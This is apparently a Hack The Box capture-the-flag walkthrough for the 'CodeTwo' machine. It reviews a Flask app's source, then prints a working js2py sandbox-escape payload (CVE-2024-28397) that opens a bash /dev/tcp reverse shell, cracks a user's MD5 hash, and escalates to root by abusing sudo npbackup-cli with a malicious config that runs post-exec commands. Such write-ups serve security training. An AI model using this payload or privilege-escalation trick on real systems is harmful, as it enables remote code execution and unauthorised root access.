Code Two
Code Two
https://app.hackthebox.com/machines/CodeTwo
IP
10.10.11.82
Nmap Results
Python Console Port 8000
We open the Website on Port 8000
We Download the APP
App Analize
App
After unpacking the archive, we find the source code of the
console in app.py along with other folders that we proceed
to analyze
We discover the Users.db file. While it does not contain
valuable data, its location on the machine is now known,
and it is likely structured in the same way
User Table is Empty
Lets Check the Code
App.py
Framework & DB: Flask app using SQLite ( users.db ) via SQLAlchemy.
User Management:
Registration stores username + MD5-hashed password (⚠️insecure).
Login validates against username + hash, session is created.
Code Management:
Users can save, view, and delete “code snippets.”
JavaScript Execution:
/run_code executes user-supplied JavaScript server-side via js2py (highly insecure →
potential Remote Code Execution).
File Download:
/download serves app.zip from /home/app/app/static/ .
General:
Session handling with secret key, standard routes for dashboard, login, logout.
Database tables are auto-created if not already present.
app.py
from flask import Flask, render_template, request, redirect, url_for, session,
jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password_hash = db.Column(db.String(128), nullable=False)
class CodeSnippet(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
code = db.Column(db.Text, nullable=False)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/dashboard')
def dashboard():
if 'user_id' in session:
user_codes =
CodeSnippet.query.filter_by(user_id=session['user_id']).all()
return render_template('dashboard.html', codes=user_codes)
return redirect(url_for('login'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password_hash=password_hash)
db.session.add(new_user)
db.session.commit()
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
user = User.query.filter_by(username=username,
password_hash=password_hash).first()
if user:
session['user_id'] = user.id
session['username'] = username;
return redirect(url_for('dashboard'))
return "Invalid credentials"
return render_template('login.html')
@app.route('/logout')
def logout():
session.pop('user_id', None)
return redirect(url_for('index'))
@app.route('/save_code', methods=['POST'])
def save_code():
if 'user_id' in session:
code = request.json.get('code')
new_code = CodeSnippet(user_id=session['user_id'], code=code)
db.session.add(new_code)
db.session.commit()
return jsonify({"message": "Code saved successfully"})
return jsonify({"error": "User not logged in"}), 401
@app.route('/download')
def download():
return send_from_directory(directory='/home/app/app/static/',
path='app.zip', as_attachment=True)
@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
if 'user_id' in session:
code = CodeSnippet.query.get(code_id)
if code and code.user_id == session['user_id']:
db.session.delete(code)
db.session.commit()
return jsonify({"message": "Code deleted successfully"})
return jsonify({"error": "Code not found"}), 404
return jsonify({"error": "User not logged in"}), 401
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', debug=True)
Note
What tipped us off in the code
While reading the Flask app we noticed two red flags:
js2py is imported and /run_code does js2py.eval_js(code) on user-controlled
input.
The only “sandbox” control is js2py.disable_pyimport() .
That immediately suggested: js2py sandbox escape. We then googled our notes/keywords:
js2py disable_pyimport bypass and js2py sandbox escape poc
…which led us straight to the public PoC for CVE-2024-28397 .
https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py
How the PoC technique works (and how we used it)
The PoC shows that from JS you can walk into Python’s type system:
1. Object.getOwnPropertyNames({}).__getattribute__
2. .__getattribute__.call(obj, "__class__").__base__ → Python’s base object
3. object.__subclasses__() → iterate all loaded Python classes
4. Find subprocess.Popen (or pivot to __builtins__ → os.system )
5. Call it with a string command and shell=True → RCE
We implemented that as a small, defensive ES5 helper that recursively searches for
subprocess.Popen , skipping classes that raise access errors.
http://10.10.11.82:8000
Register a new User
After Login we in a Python Console
We Start a Listener
nc -lvnp 4444
We use this Code for Revshell
var hacked = Object.getOwnPropertyNames({});
var bymarve = hacked.__getattribute__;
var n11 = bymarve("__getattribute__");
var obj = n11("__class__").__base__;
function findPopen(o) {
var subs = o.__subclasses__();
for (var i in subs) {
try {
var item = subs[i];
// solo chequea si tiene atributos de módulo y nombre
if (item && item.__module__ && item.__name__) {
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
if (item && item.__name__ != "type") {
var result = findPopen(item);
if (result) return result;
}
} catch(e) {
// ignorar errores de acceso
continue;
}
}
return null;
}
var Popen = findPopen(obj);
if (Popen) {
var cmd = "bash -c 'exec 5<>/dev/tcp/10.10.1x.xxx/4444;cat <&5 | while read
line; do $line 2>&5 >&5; done'";
var out = Popen(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(out);
} else {
console.log("Popen no encontrado");
}
We Got a Shell back as app User
We open the directory that contains the database (exactly the same as in our app
download)
cd /home/app/app/instance
cat users.db
We Found a Username marco
And a Hash 649c9d65a206a75f5abe509fe128bce5
We Crack the Hash on https://crackstation.net/
PW = sweetangelbabylove
User Flag 🏁
We login via ssh as marco
ssh [email protected]
We catch the User Flag 🏁
cat /home/marco/cat user.txt
Privesc
We check Sudo permissions
sudo -l
Marco can run as root /usr/local/bin/npbackup-cli
We run the Backup Script
sudo /usr/local/bin/npbackup-cli
In the home dir from Marco we have allready a config file
npbackup.conf
We try to run npbackup.conf
sudo /usr/local/bin/npbackup-cli -c npbackup.conf -b --force
It try to make a backup of ['/home/app/app/'] to repo default
But fails because Backup is smaller than configured minmium backup size
Sudo /usr/local/bin/npbackup cli c npbackup.conf b force
2025-08-17 06:40:41,318 :: INFO :: Backend finished with success
2025-08-17 06:40:41,320 :: INFO :: Processed 48.9 KiB of data
2025-08-17 06:40:41,320 :: ERROR :: Backup is smaller than configured
minmium backup size
2025-08-17 06:40:41,321 :: ERROR :: Operation finished with failure
2025-08-17 06:40:41,321 :: INFO :: Runner took 2.204321 seconds for backup
2025-08-17 06:40:41,321 :: INFO :: Operation finished
2025-08-17 06:40:41,328 :: INFO :: ExecTime = 0:00:02.252687, finished,
state is: errors.
marco@codetwo:~$ ls
npbackup.conf
Question
This npbackup.conf is the default configuration for the npbackup-cli tool.
It defines a default repository with an encrypted repo_uri and repo_password , linked to
the default_group .
Under backup_opts , it specifies /home/app/app/ as the source path, with source_type:
folder_list and no post-exec commands.
The group section ( default_group ) provides global defaults: excludes, snapshot usage,
compression, retention policy (last, hourly, daily, etc.), and bandwidth limits.
identity and global_prometheus hold placeholders ( ${HOSTNAME} , ${MACHINE_ID} )
for machine tracking and optional metrics.
Overall, this config ensures periodic backups of /home/app/app/ to the defined repository,
without executing any custom commands.
npbackup.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8
PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8
PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
snipped....
We write a malicious.conf that grab the Root Flag for us
Malicious.conf
We derived the malicious config directly from the normal one like this:
We kept the base metadata and repo secrets: conf_version , audience , repo_group ,
and the __NPBACKUP__…__NPBACKUP__ values for repo_uri and repo_password .
We changed the backup source from the legit path to a privileged target:
backup_opts.paths → /root .
We injected a repo-level hook: post_exec_commands to create /tmp/rootbackup , copy
/root/root.txt to flag.txt , set mode 644 , and chown marco:marco .
We left other options as-is so the repo/auth still work.
Why it works: repo-level settings override group defaults; with sudo the post-exec runs as
root.
repos:
default:
backup_opts:
- paths:
- - /home/app/app/
+ paths:
+ - /root
source_type: folder_list
+ post_exec_commands:
+ - "mkdir -p /tmp/rootbackup"
+ - "cp /root/root.txt /tmp/rootbackup/flag.txt 2>/dev/null || true"
+ - "chmod 644 /tmp/rootbackup/flag.txt"
+ - "chown marco:marco /tmp/rootbackup/flag.txt"
We craft a malicious backup configuration file
cat <<'EOF' > /tmp/malicious.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8
PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /root
source_type: folder_list
post_exec_commands:
- "mkdir -p /tmp/rootbackup"
- "cp /root/root.txt /tmp/rootbackup/flag.txt 2>/dev/null || true"
- "chmod 644 /tmp/rootbackup/flag.txt"
- "chown marco:marco /tmp/rootbackup/flag.txt"
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8
PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
EOF
We adjust the config to set file ownership to our current user
sed -i 's/chown marco:marco/chown $(id -un):$(id -gn)/' /tmp/malicious.conf
We execute the backup tool with our malicious config to trigger root commands
sudo /usr/local/bin/npbackup-cli -c /tmp/malicious.conf -b --force
We can Ignore the Errors
We verify the backup directory and read the extracted flag
ls -l /tmp/rootbackup/flag.txt && cat /tmp/rootbackup/flag.txt
We got the Root Flag 🏁💀
1/1